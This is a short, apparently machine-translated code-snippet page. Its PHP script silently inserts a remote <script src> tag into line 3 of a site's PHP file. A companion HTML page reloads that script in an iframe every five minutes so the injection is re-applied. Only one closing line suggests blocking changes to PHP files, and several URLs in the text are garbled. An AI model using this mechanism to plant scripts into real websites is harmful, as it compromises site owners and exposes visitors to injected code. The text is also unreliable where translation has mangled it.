php writes the code in the file specified line
- 2020-05-16 06:37:42
- OfStack
<?php
$file="aa.php" ;
$code="<script src=http://www.google/ga.js></script>";
$f=fopen($file,"r+");
$content=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3);
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[] = $line .$s . "\n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>
Once the file is saved as php, a small program can be used to specify its execution every few minutes. Browsers like operia have this feature. But I've added an html code to run it, so I can use ie, open this html and throw it somewhere.
<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="JScript">
function singOut() {
var O = document.createElement("iframe");
O.src="http://www.google.com/ The above php file .php";
O.width=100;
O.height=100;
document.body.appendChild(O);
}
window.setInterval("singOut();",300000);
</SCRIPT>
</BODY>
</HTML>
Solution: these codes will be written in php code, we can write a rule to prohibit the modification of php file